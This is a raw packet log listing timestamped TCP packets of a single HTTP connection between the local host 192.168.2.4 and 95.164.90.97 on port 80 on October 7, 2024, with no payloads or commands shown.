Oct 7, 2024 18:43:28.902997017 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903003931 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903007030 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903018951 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903043985 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903043985 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903058052 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903079987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903079987 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903095961 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903110027 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903117895 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903124094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903136969 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903151035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903160095 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903160095 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903165102 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903178930 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903201103 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903203011 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903228045 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903235912 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903242111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903255939 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903264046 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903269053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903284073 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903290987 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903296947 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903318882 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903326035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903342009 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903358936 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903358936 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903358936 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903376102 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903413057 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903425932 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903438091 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903450966 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903462887 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.903508902 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903510094 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903510094 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903510094 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903510094 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903532982 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.903532982 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.963746071 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.963844061 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.963931084 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.963953972 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.963968039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.963974953 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.963983059 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.963994026 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.963998079 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.964013100 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.964020967 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.964027882 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.964031935 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.964041948 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.964056015 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.964070082 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.964070082 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.964086056 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.964095116 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.964099884 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.964116096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.964126110 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.964126110 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.964154005 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.964154005 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.983350039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983366013 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983406067 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983419895 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983433008 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.983434916 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983441114 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.983450890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983495951 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983510017 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983522892 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983536959 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983606100 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.983606100 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.983606100 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.983606100 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.983606100 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.983633041 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.983644962 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983659029 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983673096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983688116 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983700991 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.983711958 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.983726025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.983774900 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.985763073 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.985785007 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.985819101 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.985831976 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.985846043 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.985847950 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.985860109 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.985873938 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.985896111 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.985928059 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.985941887 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.985954046 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.985955954 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.985970020 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.985980988 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.985984087 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.985991001 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.985997915 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986008883 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986042976 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986042976 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986069918 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986083031 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986095905 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986109972 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986121893 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986124039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986138105 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986148119 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986150980 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986165047 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986176014 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986180067 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986182928 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986234903 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986234903 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986318111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986331940 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986347914 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986382008 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986382008 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986402988 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986417055 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986428022 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986432076 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986455917 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986485004 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986551046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986567974 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986598015 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986610889 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986620903 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986624002 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986639023 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986649036 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986651897 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986665964 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986677885 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986680031 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986692905 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986709118 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986721039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986733913 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986753941 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986764908 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986779928 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986785889 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986802101 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986828089 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986831903 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986845016 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986860037 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986869097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986932993 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.986953974 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.986967087 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987005949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987019062 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987030983 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987032890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987044096 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987046957 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987061977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987071991 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987073898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987087965 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987088919 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987102985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987116098 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987128019 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987128019 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987129927 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987142086 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987170935 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987170935 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987226009 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987241030 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987255096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987267971 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987281084 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987281084 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987293005 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987296104 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987298012 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987309933 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987320900 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987360954 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987360954 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987366915 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987412930 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987427950 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987442017 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987456083 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987468958 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987483025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987483025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987483978 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987498045 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987507105 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987512112 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987524986 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987535000 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987548113 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987556934 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987571955 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987580061 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987586021 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987598896 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987615108 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987622023 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987637043 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987660885 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987881899 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987903118 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987916946 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987927914 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987931013 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987946033 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987958908 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987967968 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.987974882 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987987995 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.987998962 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.988002062 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.988015890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.988080025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.048455000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048521042 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048549891 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048561096 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.048593044 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048609972 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048625946 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.048700094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048712969 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.048717022 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048732996 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048739910 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.048746109 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048772097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.048790932 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048805952 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048818111 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.048820019 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048835993 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048845053 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.048858881 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.048928976 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048938990 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.048943043 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048958063 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048971891 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.048993111 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.048993111 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.049034119 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.067934990 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.067981005 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.067996025 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068011999 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068027020 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068034887 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.068051100 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068067074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068068027 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.068068027 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.068082094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068092108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.068100929 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068124056 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.068131924 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068152905 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.068155050 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068171024 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068177938 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.068186045 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068191051 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.068201065 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068216085 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.068226099 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.068226099 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.068239927 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.068480968 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070408106 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070425034 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070440054 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070453882 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070468903 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070482969 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070497036 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070507050 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070507050 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070507050 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070513010 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070533991 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070547104 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070561886 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070575953 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070576906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070590973 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070601940 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070605040 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070611954 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070631027 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070647001 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070667982 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070673943 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070682049 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070693970 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070696115 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070703983 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070710897 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.070720911 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.070724964 CEST	80	49742	95.164.90.97	192.168.2.4
